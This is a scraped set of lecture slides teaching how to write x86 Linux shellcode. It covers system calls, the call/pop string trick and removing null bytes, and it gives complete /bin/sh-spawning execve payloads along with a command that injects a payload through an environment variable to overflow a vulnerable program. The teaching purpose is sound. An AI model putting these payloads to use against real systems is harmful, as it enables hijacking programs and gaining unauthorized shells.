320 likes | 635 Views
Ox500. Shellcode. Jinsoo Kim. Contents. Introduction to Shellcode Assembly vs. C language How to write a shellcode Removing null bytes How to write a Shell-spawning shellcode. What’s Shellcode?. Referred to as an exploit payload
E N D
Ox500. Shellcode JinsooKim
Contents • Introduction to Shellcode • Assembly vs. C language • How to writea shellcode • Removing null bytes • How to write a Shell-spawning shellcode
What’s Shellcode? • Referred to as an exploit payload • Usually spawns a shell in a way to hand off control to an attacker • architecture-specific machine instructions • Shellcode is written using the assambly language
Why do we need to create a custom shellcode? • Custom shellcode gives you absolute control over the exploited program • Once you know how to write your own shellcode, your exploits are limited only by your imagination • Additionally, writing shellcode develops assembly language skills
Assembly vs. C language • The OS manages things like I/O, process control, file access, network communication in the kernel on behalf of programs • Programs perform these tasks by making system calls to the kernel • Different OSs have different sets of system calls
Assembly vs. C language • In C language • Standard libraries are used for convenience and portability • C program using printf() can be compiled for different systems with standard libraries. • In Assembly • Already specific to a certain processor architecture • No standard libraries, So kernel system calls have to be made directly
Hello world! in C • When the compiled program is run, execution flows through standard I/O library making a system call #include <stdio.h> int main() { printf(“Hello world!\n”); return 0; }
Hello world! in assembly • Assembly programs must make system calls directly to the kernel • Every possible linux system call is enumerated in /usr/include/asm-i386/unistd.h • So they can be referenced by numbers when making system calls in assembly
Hello world! in assembly • Assembly instructions for the x86 processor have one, two, three, or no operands • EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP can be used as operands except EIP • “int” instruction • Sends an interrupt signal to the kernel • EAX specifies which system call to make • EBX, ECX, EDX to hold the first, second, third arguments to the system call respectively
Hello world! in assembly helloworld.asm section .data ; data segment msg db "Hello, world!", 0x0a ; the string and newline char section .text ; text segment global _start ; Default entry point for ELF linking _start: ; SYSCALL: write(1, msg, 14) mov eax, 4; put 4 into eax, since write is syscall #4 mov ebx, 1 ; put 1 into ebx, since stdout is 1 mov ecx, msg ; put the address of the string into ecx mov edx, 14 ; put 14 into edx, since our string is 14 bytes int 0x80 ; Call the kernel to make the system call happen ; SYSCALL: exit(0) mov eax, 1 ; put 1 into eax, since exit is syscall #1 mov ebx, 0 ; exit with success int 0x80 ; do the syscall
How to write a shellcode? • Shellcode • injected into a running program • Can’t declare the layout of data in memory or even use other memory segments • Must be self-contained
How to write a shellcode? • How to access the string in the shellcode? • Bytes for the string “Hello World!” must be mixed with the assembly instructions • How to calculate the absolute address of the string? • As a sort of trick, that is made possible by the “call” instruction
How to access the string? • “call”instruction . . 0x0804856b mov DWORD PTR [esp], 0xc8 0x08048572 call 0x08048458 0x08048577 mov DWORD PTR [esp-20], eax . . push 0x08048577 mov EIP, 0x08048458 Low address 0x08048577 (call 0x08048577)ESP Stack High address
How to access the string? BITS 32 ; tell nasm this is 32-bit code call mark_below ; call below the string to instructions db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes mark_below: ; ssize_t write(intfd, const void *buf, size_t count); pop ecx; pop the return address (string ptr) into ecx mov eax, 4 ; write syscall # mov ebx, 1 ; STDOUT file descriptor mov edx, 15 ; length of the string int 0x80 ; do syscall: write(1, string, 14) ; void _exit(int status); mov eax, 1 ; exit syscall # mov ebx, 0 ; status = 0 int 0x80 ; do syscall: exit(0)
How to write a shellcode? • Let’s see how our shellcode works! $ export SHELLCODE=$(cat ./helloworld1) $ ./getenvadr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9ac $ ./notesearch $(perl –e ‘print “\xac\xf9\xff\xbf”x40’)
What’s wrong with the shellcode? • Let’s see the core dump with gdb • root privilege is needed to dump memory of notesearch
How can we remove null bytes from the shellcode? • “call” instruction allows for much longer jump distance, padding a small value with leading zeros • How can we go around this problem? • takes advantage of two’s complement • Jump to the end of the code and jump back to a “pop” instruction by using “call <negative value>” 1 = 0000 0001 -1 = 1111 1111 =1111 1110 + 0000 0001 in two’s complement
How can we remove null bytes from the shellcode? BITS 32 ; tell nasm this is 32-bit code jmp short one ; jump down to a call at the end two: ; ssize_t write(intfd, const void *buf, size_t count); pop ecx; pop the return address (string ptr) into ecx mov eax, 4 ; write syscall # mov ebx, 1 ; STDOUT file descriptor mov edx, 15 ; length of the string int 0x80 ; do syscall: write(1, string, 14) ; void _exit(int status); mov eax, 1 ; exit syscall # mov ebx, 0 ; status = 0 int 0x80 ; do syscall: exit(0) one: call two ; call back upwards to avoid null bytes db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes
How can we remove null bytes from the shellcode? • But, there are still null bytes in “mov” instructions
How can we remove null bytes from the shellcode? • The remaining null bytes can be eliminated by understanding of register widths and addressing AX EAX AH AL EBX BH BL CH CL ECX EDX DH DL
How can we remove null bytes from the shellcode? • By using AL, BL, CL, DL registers, we can put correct values into the corresponding registers
BITS 32 ; tell nasm this is 32-bit code jmp short one ; jump down to a call at the end two: ; ssize_t write(intfd, const void *buf, size_t count); pop ecx; pop the return address (string ptr) into ecx xor eax, eax ; zero out full 32-bits of eax register mov al, 4 ; write syscall #4 to the low byte of eax xorebx, ebx; zero out ebx inc ebx; increment ebx to 1, STDOUT file descriptor xoredx, edx mov dl, 15 ; length of the string int 0x80 ; do syscall: write(1, string, 14) ; void _exit(int status); mov al, 1 ; exit syscall #1, the top 3 bytes are still zeroed decebx; decrement ebx back down to 0 for status = 0 int 0x80 ; do syscall: exit(0) one: call two ; call back upwards to avoid null bytes db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return
How can we remove null bytes from the shellcode? • Let’s see our shellcode working well!
Shell-spawning Shellcode • To spawn a shell, we need to make a system call to execute the /bin/sh program • System call # : 11 intexecve(const char* filename, char *const argv[], char*const envp[])
Shell-spawning Shellcode • Shell-spawning C program #include <unistd.h> int main() { char filename[] = "/bin/sh\x00"; char **argv, **envp; // arrays that contain char pointers argv[0] = filename; // only argument is filename argv[1] = 0; // null terminate the argument array envp[0] = 0; // null terminate the environment array execve(filename, argv, envp); }
Shell-spawning Shellcode • To do this in assembly • Two things need to be built in memory #include <unistd.h> int main() { char filename[] = "/bin/sh\x00"; char **argv, **envp; // arrays that contain char pointers argv[0] = filename; // only argument is filename argv[1] = 0; // null terminate the argument array envp[0] = 0; // null terminate the environment array execve(filename, argv, envp); }` 1 2
Shell-spawning Shellcode BITS 32 jmp short two ; Jump down to the bottom for the call trick one: ; intexecve(const char *filename, char *const argv [], char *const envp[]) pop ebx; ebx has the addr of the string xoreax, eax; put 0 into eax mov [ebx+7], al ; null terminate the /bin/sh string mov [ebx+8], ebx; put addr from ebx where the AAAA is mov [ebx+12], eax; put 32-bit null terminator where the BBBB is lea ecx, [ebx+8] ; load the address of [ebx+8] into ecx for argvptr lea edx, [ebx+12] ; edx = ebx + 12, which is the envpptr mov al, 11 ; syscall #11 int 0x80 ; do it two: call one ; Use a call to get string address db '/bin/shXAAAABBBB' ; the XAAAABBBB bytes for viusal aid aren't needed
Shell-spawning Shellcode • The smaller the shellcode, the more situations it can be used in • By using the stack, the size of the shellcode can be reduced BITS 32 ; execve(const char *filename, char *const argv [], char *const envp[]) xoreax, eax; zero our eax push eax; push some nulls for string termination push 0x68732f2f ; push "//sh" to the stack push 0x6e69622f ; push "/bin" to the stack movebx, esp; put the address of "/bin//sh" into ebx, via esp push eax; push 32-bit null terminator to stack movedx, esp; this is an empty array for envp push ebx; push string addr to stack above null terminator movecx, esp; this is the argv array with string ptr mov al, 11 ; syscall #11 int 0x80 ; do it
Summary • Shellcode • a small set of instructions which is injected into a running process • Written in self-contained format using assembly language • Should not contains null bytes in the middle of itself • The smaller the shellcode, the better it is • Continue to study the remaining part of the chapter